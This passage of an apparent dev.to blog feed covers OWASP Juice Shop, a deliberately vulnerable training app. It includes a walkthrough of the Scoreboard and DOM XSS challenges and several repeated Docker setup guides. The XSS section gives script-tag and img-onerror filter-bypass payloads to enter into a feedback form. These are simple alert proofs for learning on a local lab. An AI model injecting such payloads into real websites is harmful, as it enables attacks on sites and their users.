&lt;pre class="highlight shell"&gt;&lt;code&gt;   docker pull bkimminich/juice-shop
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;ol&gt;
&lt;li&gt;
&lt;strong&gt;Run Juice Shop&lt;/strong&gt;:
&lt;/li&gt;
&lt;/ol&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;   docker run &lt;span class="nt"&gt;--rm&lt;/span&gt; &lt;span class="nt"&gt;-p&lt;/span&gt; 3000:3000 bkimminich/juice-shop
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;ol&gt;
&lt;li&gt;
&lt;strong&gt;Access Juice Shop&lt;/strong&gt; in your browser at &lt;code&gt;http://localhost:3000&lt;/code&gt;.&lt;/li&gt;
&lt;/ol&gt;




&lt;h3&gt;
  
  
  1. &lt;strong&gt;Scoreboard Challenge&lt;/strong&gt;
&lt;/h3&gt;

&lt;p&gt;The Scoreboard is where Juice Shop tracks and displays all the challenges you've solved. This challenge involves finding a way to access the Scoreboard without manually solving other challenges.&lt;/p&gt;

&lt;h4&gt;
  
  
  &lt;strong&gt;Steps to Access the Scoreboard&lt;/strong&gt;:
&lt;/h4&gt;

&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Open the Developer Tools&lt;/strong&gt;:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Right-click anywhere on the page and select &lt;strong&gt;Inspect&lt;/strong&gt; (this opens Developer Tools).&lt;/li&gt;
&lt;li&gt;Go to the &lt;strong&gt;Console&lt;/strong&gt; tab.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Search for the Scoreboard&lt;/strong&gt;:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;In the Console, Juice Shop gives away some hints if you inspect closely. Type the following to try and locate the scoreboard:
&lt;/li&gt;
&lt;/ul&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt; &lt;span class="nb"&gt;document&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;querySelector&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;iframe&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/li&gt;
&lt;/ol&gt;

&lt;ul&gt;
&lt;li&gt;This will display the &lt;code&gt;iframe&lt;/code&gt; element containing the Scoreboard.&lt;/li&gt;
&lt;/ul&gt;

&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Manipulate the DOM&lt;/strong&gt;:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Once you've identified the iframe, you can try to access its content by playing around with the code in the console. &lt;/li&gt;
&lt;li&gt;One common method is looking for the URL of the scoreboard in the source code by checking the network requests or hidden elements.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Access the Scoreboard Directly&lt;/strong&gt;:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Juice Shop’s scoreboard is often located at an easily guessable path. Try visiting:
&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;code&gt;http://localhost:3000/#/score-board&lt;/code&gt;&lt;br&gt;
&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;

&lt;ul&gt;
&lt;li&gt;This should take you directly to the scoreboard, showing all challenges.&lt;/li&gt;
&lt;/ul&gt;

&lt;h4&gt;
  
  
  &lt;strong&gt;Exploiting the Scoreboard&lt;/strong&gt;:
&lt;/h4&gt;

&lt;p&gt;The Scoreboard doesn't require a complex exploit, but accessing it reveals all the challenges, giving you insight into the available challenges and their difficulties.&lt;/p&gt;




&lt;h3&gt;
  
  
  2. &lt;strong&gt;DOM-based XSS (Cross-Site Scripting)&lt;/strong&gt;
&lt;/h3&gt;

&lt;p&gt;&lt;strong&gt;DOM XSS&lt;/strong&gt; occurs when the malicious script is executed as part of the web page's Document Object Model (DOM) rather than through traditional server-side input.&lt;/p&gt;

&lt;h4&gt;
  
  
  &lt;strong&gt;Steps to Perform DOM XSS in Juice Shop&lt;/strong&gt;:
&lt;/h4&gt;

&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Identify the Vulnerable Field&lt;/strong&gt;:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Navigate to the &lt;strong&gt;Contact Us&lt;/strong&gt; page (&lt;code&gt;http://localhost:3000/#/contact&lt;/code&gt;).&lt;/li&gt;
&lt;li&gt;There is a feedback form where users can submit messages.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Inject XSS Payload&lt;/strong&gt;:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;In the feedback form, enter the following payload in the "Comment" field:
&lt;/li&gt;
&lt;/ul&gt;
&lt;pre class="highlight html"&gt;&lt;code&gt; &lt;span class="nt"&gt;&amp;lt;script&amp;gt;&lt;/span&gt;&lt;span class="nf"&gt;alert&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;XSS&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="nt"&gt;&amp;lt;/script&amp;gt;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/li&gt;
&lt;/ol&gt;

&lt;ul&gt;
&lt;li&gt;Submit the form and observe if the alert box pops up. This is the simplest way to check for basic XSS vulnerability.&lt;/li&gt;
&lt;/ul&gt;

&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Explore the DOM Behavior&lt;/strong&gt;:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;DOM-based XSS happens if the website uses the data from the comment field directly into the page’s HTML/JS without proper sanitization.&lt;/li&gt;
&lt;li&gt;You can inspect the page source and see if any data you input is being reflected directly in the DOM, which leads to execution of your injected script.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Bypassing Basic Filters&lt;/strong&gt;:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Sometimes, Juice Shop may filter out &lt;code&gt;&amp;lt;script&amp;gt;&lt;/code&gt; tags. Try other payloads to bypass this:
&lt;/li&gt;
&lt;/ul&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt; &lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="nx"&gt;img&lt;/span&gt; &lt;span class="nx"&gt;src&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="nx"&gt;x&lt;/span&gt; &lt;span class="nx"&gt;onerror&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="nf"&gt;alert&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;XSS&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/li&gt;
&lt;/ol&gt;

&lt;ul&gt;
&lt;li&gt;Or use more advanced payloads based on the context in which the input is being reflected.&lt;/li&gt;
&lt;/ul&gt;

&lt;ol&gt;
&lt;li&gt;
&lt;strong&gt;Validate Your Exploit&lt;/strong&gt;:

&lt;ul&gt;
&lt;li&gt;If successful, you should see an alert or be able to manipulate the page's DOM via the injected code.&lt;/li&gt;
&lt;li&gt;Your goal is to make Juice Shop execute your JavaScript code, demonstrating the DOM XSS vulnerability.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ol&gt;




&lt;h3&gt;
  
  
  Wrapping Up
&lt;/h3&gt;

&lt;p&gt;In this combined Scoreboard and DOM XSS challenge, you've explored:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;How to access the Scoreboard by inspecting elements and understanding Juice Shop's structure.&lt;/li&gt;
&lt;li&gt;How to exploit a DOM XSS vulnerability by manipulating input fields and injecting malicious JavaScript into the page.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Next, we can start with more of what some would call the "fun stuff," so stay tuned and welcome to the Rubixverse.&lt;/p&gt;

</description>
      <category>tutorial</category>
      <category>cybersecurity</category>
      <category>hacktoberfest</category>
    </item>
    <item>
      <title>OWASP Juice-Shop Series Pt.1 Set-Up with Docker &lt; Win. Mac &amp; Linux&gt;</title>
      <dc:creator>haXarubiX</dc:creator>
      <pubDate>Sun, 06 Oct 2024 05:13:57 +0000</pubDate>
      <link>https://dev.to/hax/owasp-juice-shop-series-pt1-set-up-with-docker-win-mac-linux-4jdl</link>
      <guid>https://dev.to/hax/owasp-juice-shop-series-pt1-set-up-with-docker-win-mac-linux-4jdl</guid>
      <description>&lt;h3&gt;
  
  
  Introduction to OWASP Juice Shop and Setting Up the Environment
&lt;/h3&gt;

&lt;p&gt;Welcome to the first post in our series on hacking OWASP Juice Shop! Throughout this blog, we will explore the vulnerabilities and security challenges present in this intentionally vulnerable web application. Juice Shop is designed to help ethical hackers and penetration testers hone their skills and practice hacking in a safe environment. &lt;/p&gt;

&lt;p&gt;In this series, we will use &lt;strong&gt;Docker&lt;/strong&gt; to run Juice Shop, ensuring an easy setup across various platforms like Windows, macOS, and Linux. I’ll provide step-by-step instructions for setting up Docker on all major systems, so you can follow along no matter what operating system you’re using. Once Juice Shop is up and running, we’ll dive into finding and exploiting common web vulnerabilities.&lt;/p&gt;

&lt;p&gt;Let’s start by setting up Docker, which will make it easy to run Juice Shop on any platform. Below are the instructions for installing Docker Desktop on Windows and macOS, and Docker on Debian-based Linux distributions like Ubuntu and Kali Linux.&lt;/p&gt;




&lt;h3&gt;
  
  
  Installing Docker
&lt;/h3&gt;

&lt;h4&gt;
  
  
  1. &lt;strong&gt;For Windows (Docker Desktop)&lt;/strong&gt;
&lt;/h4&gt;

&lt;ol&gt;
&lt;li&gt;Visit the Docker Desktop website: &lt;a href="https://www.docker.com/products/docker-desktop" rel="noopener noreferrer"&gt;Docker Desktop for Windows&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;Click on &lt;strong&gt;Download for Windows&lt;/strong&gt;.&lt;/li&gt;
&lt;li&gt;Once the installer is downloaded, open it and follow the installation steps:

&lt;ul&gt;
&lt;li&gt;Agree to the terms and conditions.&lt;/li&gt;
&lt;li&gt;Allow Docker Desktop to use WSL 2 (recommended).&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;After installation, launch Docker Desktop from the Start menu.&lt;/li&gt;
&lt;li&gt;Verify Docker is running by opening a command prompt and typing:
&lt;/li&gt;
&lt;/ol&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;   docker --version

&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;If installed successfully, you should see the Docker version number.&lt;/p&gt;

&lt;h4&gt;
  
  
  2. &lt;strong&gt;For macOS (Docker Desktop)&lt;/strong&gt;
&lt;/h4&gt;

&lt;ol&gt;
&lt;li&gt;Visit the Docker Desktop website: &lt;a href="https://www.docker.com/products/docker-desktop" rel="noopener noreferrer"&gt;Docker Desktop for Mac&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;Click on &lt;strong&gt;Download for Mac&lt;/strong&gt;.&lt;/li&gt;
&lt;li&gt;After the download, open the &lt;code&gt;.dmg&lt;/code&gt; file and drag Docker to your Applications folder.&lt;/li&gt;
&lt;li&gt;Launch Docker from the Applications folder.&lt;/li&gt;
&lt;li&gt;Verify Docker is running by opening a terminal and typing:
&lt;/li&gt;
&lt;/ol&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;   docker --version
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;






&lt;h3&gt;
  
  
  Installing Docker on Debian-based Linux (Ubuntu/Kali)
&lt;/h3&gt;

&lt;p&gt;Docker is available directly from the official Docker repositories. Here’s how to set it up:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;
&lt;strong&gt;Uninstall old Docker versions (if any)&lt;/strong&gt;:
&lt;/li&gt;
&lt;/ol&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;   &lt;span class="nb"&gt;sudo &lt;/span&gt;apt remove docker docker-engine docker.io containerd runc
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;ol&gt;
&lt;li&gt;
&lt;strong&gt;Install Docker Engine&lt;/strong&gt;:
&lt;/li&gt;
&lt;/ol&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;   &lt;span class="nb"&gt;sudo &lt;/span&gt;apt update &lt;span class="o"&gt;&amp;amp;&amp;amp;&lt;/span&gt; &lt;span class="nb"&gt;sudo &lt;/span&gt;apt &lt;span class="nb"&gt;install &lt;/span&gt;docker.io
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;ol&gt;
&lt;li&gt;
&lt;strong&gt;Verify installation&lt;/strong&gt;:
&lt;/li&gt;
&lt;/ol&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;   &lt;span class="nb"&gt;sudo &lt;/span&gt;docker &lt;span class="nt"&gt;--version&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;






&lt;h3&gt;
  
  
  Installing Docker Compose (for Linux)
&lt;/h3&gt;

&lt;p&gt;Docker Compose is a tool that helps you define and run multi-container Docker applications. Here’s how to install it:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;Install Docker Compose:
&lt;/li&gt;
&lt;/ol&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;   &lt;span class="nb"&gt;sudo &lt;/span&gt;apt &lt;span class="nb"&gt;install &lt;/span&gt;docker-compose
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;sudo systemctl start docker
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;sudo systemctl enable docker
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;ol&gt;
&lt;li&gt;Apply executable permissions to the binary:
&lt;/li&gt;
&lt;/ol&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;   &lt;span class="nb"&gt;sudo chmod&lt;/span&gt; +x /usr/local/bin/docker-compose
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;ol&gt;
&lt;li&gt;Verify the installation:
&lt;/li&gt;
&lt;/ol&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;   docker-compose &lt;span class="nt"&gt;--version&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;






&lt;h3&gt;
  
  
  Setting Up Juice Shop
&lt;/h3&gt;

&lt;p&gt;Once Docker is installed, setting up Juice Shop is straightforward. We will use Docker to pull the OWASP Juice Shop image and run it on your system.&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;
&lt;strong&gt;Pull the Juice Shop Docker image&lt;/strong&gt;:
&lt;/li&gt;
&lt;/ol&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;   docker pull bkimminich/juice-shop
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;ol&gt;
&lt;li&gt;
&lt;strong&gt;Run the Juice Shop container&lt;/strong&gt;:
&lt;/li&gt;
&lt;/ol&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;   docker run &lt;span class="nt"&gt;--rm&lt;/span&gt; &lt;span class="nt"&gt;-p&lt;/span&gt; 3000:3000 bkimminich/juice-shop
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;ol&gt;
&lt;li&gt;
&lt;strong&gt;Access Juice Shop&lt;/strong&gt;: 
Open your browser and go to &lt;code&gt;http://localhost:3000&lt;/code&gt;. You should see the Juice Shop application running.&lt;/li&gt;
&lt;/ol&gt;




&lt;h3&gt;
  
  
  What’s Next?
&lt;/h3&gt;

&lt;p&gt;Now that you have Juice Shop up and running, it is time to take action and start hacking! I belive the best way to learn is not just by reading or watching but actually doing. In the next post, we’ll start exploring the security challenges built into Juice Shop and go through step-by-step tutorials on how to find and exploit vulnerabilities.&lt;/p&gt;

&lt;p&gt;Stay tuned, and get ready to hack the Juice Shop &lt;/p&gt;

</description>
    </item>
    <item>
      <title>How to Install Docker on Windows / Mac / Linux</title>
      <dc:creator>haXarubiX</dc:creator>
      <pubDate>Sun, 06 Oct 2024 05:07:38 +0000</pubDate>
      <link>https://dev.to/hax/how-to-install-docker-on-windows-mac-linux-235g</link>
      <guid>https://dev.to/hax/how-to-install-docker-on-windows-mac-linux-235g</guid>
      <description>&lt;h3&gt;
  
  
  &lt;strong&gt;Step-by-Step Docker Installation and Juice Shop Setup (Updated)&lt;/strong&gt;
&lt;/h3&gt;

&lt;h4&gt;
  
  
  &lt;strong&gt;Part 1: Installing Docker&lt;/strong&gt;
&lt;/h4&gt;

&lt;h5&gt;
  
  
  &lt;strong&gt;1. Docker Installation on Windows and macOS&lt;/strong&gt;
&lt;/h5&gt;

&lt;p&gt;Docker Desktop makes it incredibly easy to set up Docker on both Windows and macOS. Here’s a quick guide to get you started.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Steps for both Windows and macOS:&lt;/strong&gt;&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Download Docker Desktop:&lt;/strong&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Visit the &lt;a href="https://www.docker.com/products/docker-desktop" rel="noopener noreferrer"&gt;Docker Desktop website&lt;/a&gt; and click “Download for Windows” or “Download for Mac,” depending on your operating system.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Install Docker Desktop:&lt;/strong&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;On Windows, simply run the installer &lt;code&gt;.exe&lt;/code&gt; file and follow the on-screen instructions.&lt;/li&gt;
&lt;li&gt;On macOS, open the downloaded &lt;code&gt;.dmg&lt;/code&gt; file and drag Docker to your Applications folder.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Launch Docker Desktop:&lt;/strong&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;After installation, launch Docker Desktop.&lt;/li&gt;
&lt;li&gt;Docker Desktop will guide you through the initial setup, and within a few clicks, Docker will be up and running.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Verify Docker Installation:&lt;/strong&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Open PowerShell (Windows) or Terminal (macOS) and type:
&lt;/li&gt;
&lt;/ul&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt; docker &lt;span class="nt"&gt;--version&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/li&gt;
&lt;/ol&gt;

&lt;ul&gt;
&lt;li&gt;You should see the installed version of Docker printed in the terminal.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;That’s it! Docker is now installed and ready for use. You don’t need to worry about additional steps since Docker Desktop handles everything, including setting up Docker Compose.&lt;/p&gt;

&lt;h5&gt;
  
  
  &lt;strong&gt;2. Docker Installation on Debian-based Linux (Ubuntu/Kali)&lt;/strong&gt;
&lt;/h5&gt;

&lt;p&gt;For Linux users (particularly Debian-based systems like Ubuntu or Kali), installing Docker is also straightforward.&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;
&lt;strong&gt;Update Your System:&lt;/strong&gt;
Open your terminal and run the following to ensure your system is up to date:
&lt;/li&gt;
&lt;/ol&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;   &lt;span class="nb"&gt;sudo &lt;/span&gt;apt update
   &lt;span class="nb"&gt;sudo &lt;/span&gt;apt upgrade
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;ol&gt;
&lt;li&gt;
&lt;strong&gt;Install Docker:&lt;/strong&gt;
Install Docker using the following command:
&lt;/li&gt;
&lt;/ol&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;   &lt;span class="nb"&gt;sudo &lt;/span&gt;apt &lt;span class="nb"&gt;install &lt;/span&gt;docker.io
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;ol&gt;
&lt;li&gt;
&lt;strong&gt;Install Docker Compose:&lt;/strong&gt;
Since Docker Compose is often used alongside Docker, install it as well:
&lt;/li&gt;
&lt;/ol&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;   &lt;span class="nb"&gt;sudo &lt;/span&gt;apt &lt;span class="nb"&gt;install &lt;/span&gt;docker-compose
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;ol&gt;
&lt;li&gt;
&lt;strong&gt;Start and Enable Docker:&lt;/strong&gt;
Enable Docker to start at boot and launch it right away:
&lt;/li&gt;
&lt;/ol&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;   &lt;span class="nb"&gt;sudo &lt;/span&gt;systemctl &lt;span class="nb"&gt;enable &lt;/span&gt;docker
   &lt;span class="nb"&gt;sudo &lt;/span&gt;systemctl start docker
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;ol&gt;
&lt;li&gt;
&lt;strong&gt;Verify Installation:&lt;/strong&gt;
Run the following command to check if Docker is installed correctly:
&lt;/li&gt;
&lt;/ol&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;   docker &lt;span class="nt"&gt;--version&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;That's it for Linux! Docker and Docker Compose are now installed and ready for use.&lt;/p&gt;

</description>
    </item>
    <item>
      <title>OWASP JUICE SHOP SET UP WITH DOCKER</title>
      <dc:creator>haXarubiX</dc:creator>
      <pubDate>Fri, 04 Oct 2024 05:12:27 +0000</pubDate>
      <link>https://dev.to/hax/owasp-juice-shop-set-up-with-docker-2php</link>
      <guid>https://dev.to/hax/owasp-juice-shop-set-up-with-docker-2php</guid>
      <description>&lt;h2&gt;
  
  
  Step-by-Step Docker Installation and Juice Shop Setup
&lt;/h2&gt;

&lt;h3&gt;
  
  
  Part 1: Installing Docker
&lt;/h3&gt;

&lt;ol&gt;
&lt;li&gt;Docker Installation on Windows and macOS&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;Docker Desktop makes it incredibly easy to set up Docker on both Windows and macOS. Here’s a quick guide to get you started.&lt;/p&gt;

&lt;p&gt;Steps for both Windows and macOS:&lt;/p&gt;

&lt;h3&gt;
  
  
  1. Download Docker Desktop:
&lt;/h3&gt;

&lt;p&gt;Visit the Docker Desktop website and click “Download for Windows” or “Download for Mac,” depending on your operating system.&lt;/p&gt;

&lt;h3&gt;
  
  
  2. Install Docker Desktop:
&lt;/h3&gt;

&lt;p&gt;On Windows, simply run the installer .exe file and follow the on-screen instructions.&lt;/p&gt;

&lt;p&gt;On macOS, open the downloaded .dmg file and drag Docker to your Applications folder.&lt;/p&gt;

&lt;h3&gt;
  
  
  3. Launch Docker Desktop:
&lt;/h3&gt;

&lt;p&gt;After installation, launch Docker Desktop.&lt;/p&gt;

&lt;p&gt;Docker Desktop will guide you through the initial setup, and within a few clicks, Docker will be up and running.&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;Verify Docker Installation:&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;Open PowerShell (Windows) or Terminal (macOS) and type:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;docker --version

&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;You should see the installed version of Docker printed in the terminal.&lt;/p&gt;

&lt;p&gt;That’s it! Docker is now installed and ready for use. You don’t need to worry about additional steps since Docker Desktop handles everything, including setting up Docker Compose.&lt;/p&gt;

&lt;h2&gt;
  
  
  2. Docker Installation on Debian-based Linux (Ubuntu/Kali)
&lt;/h2&gt;

&lt;p&gt;For Linux users (particularly Debian-based systems like Ubuntu or Kali), installing Docker is also straightforward.&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;Update Your System: Open your terminal and run the following to ensure your system is up to date:
&lt;/li&gt;
&lt;/ol&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;sudo apt update &amp;amp;&amp;amp; sudo apt upgrade
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;ol&gt;
&lt;li&gt;Install Docker: Install Docker using the following command:
&lt;/li&gt;
&lt;/ol&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;sudo apt install docker.io
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;ol&gt;
&lt;li&gt;Install Docker Compose: Since Docker Compose is often used alongside Docker, install it as well:
&lt;/li&gt;
&lt;/ol&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;sudo apt install docker-compose
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;ol&gt;
&lt;li&gt;Start and Enable Docker: Enable Docker to start at boot and launch it right away:
&lt;/li&gt;
&lt;/ol&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;sudo systemctl enable docker
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;sudo systemctl start docker
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;ol&gt;
&lt;li&gt;Verify Installation: Run the following command to check if Docker is installed correctly:
&lt;/li&gt;
&lt;/ol&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;docker --version
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;That's it for Linux! Docker and Docker Compose are now installed and ready for use.&lt;/p&gt;




&lt;h2&gt;
  
  
  Part 2: Pulling and Running Juice Shop with Docker
&lt;/h2&gt;

&lt;p&gt;Now that Docker is installed, let's set up the Juice Shop container.&lt;/p&gt;

&lt;p&gt;Steps to Set Up Juice Shop in Docker:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;&lt;p&gt;Open Your Terminal (or PowerShell on Windows):&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Pull the Juice Shop Docker Image: Run the following command to pull the latest Juice Shop image from Docker Hub:&lt;br&gt;
&lt;/p&gt;&lt;/li&gt;
&lt;/ol&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;docker pull bkimminich/juice-shop
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;ol&gt;
&lt;li&gt;Run the Juice Shop Container: Use this command to run the container in the background and make it accessible from your browser:
&lt;/li&gt;
&lt;/ol&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;docker run -d -p 3000:3000 --name juice-shop bkimminich/juice-shop
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;-d: Runs the container in the background (detached mode).&lt;/p&gt;

&lt;p&gt;-p 3000:3000: Exposes port 3000 on your machine and maps it to port 3000 in the container.&lt;/p&gt;

&lt;p&gt;--name juice-shop: Names the container "juice-shop."&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;Access Juice Shop in Your Browser: Open your web browser and navigate to:&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;&lt;a href="http://localhost:3000" rel="noopener noreferrer"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;Verify Juice Shop is Running: To ensure the container is running, you can check by using:
&lt;/li&gt;
&lt;/ol&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;docker ps
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;This will list the currently running containers, and you should see "juice-shop" in the list.&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;Stopping and Restarting Juice Shop:&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;To stop the Juice Shop container, run:&lt;br&gt;
&lt;/p&gt;

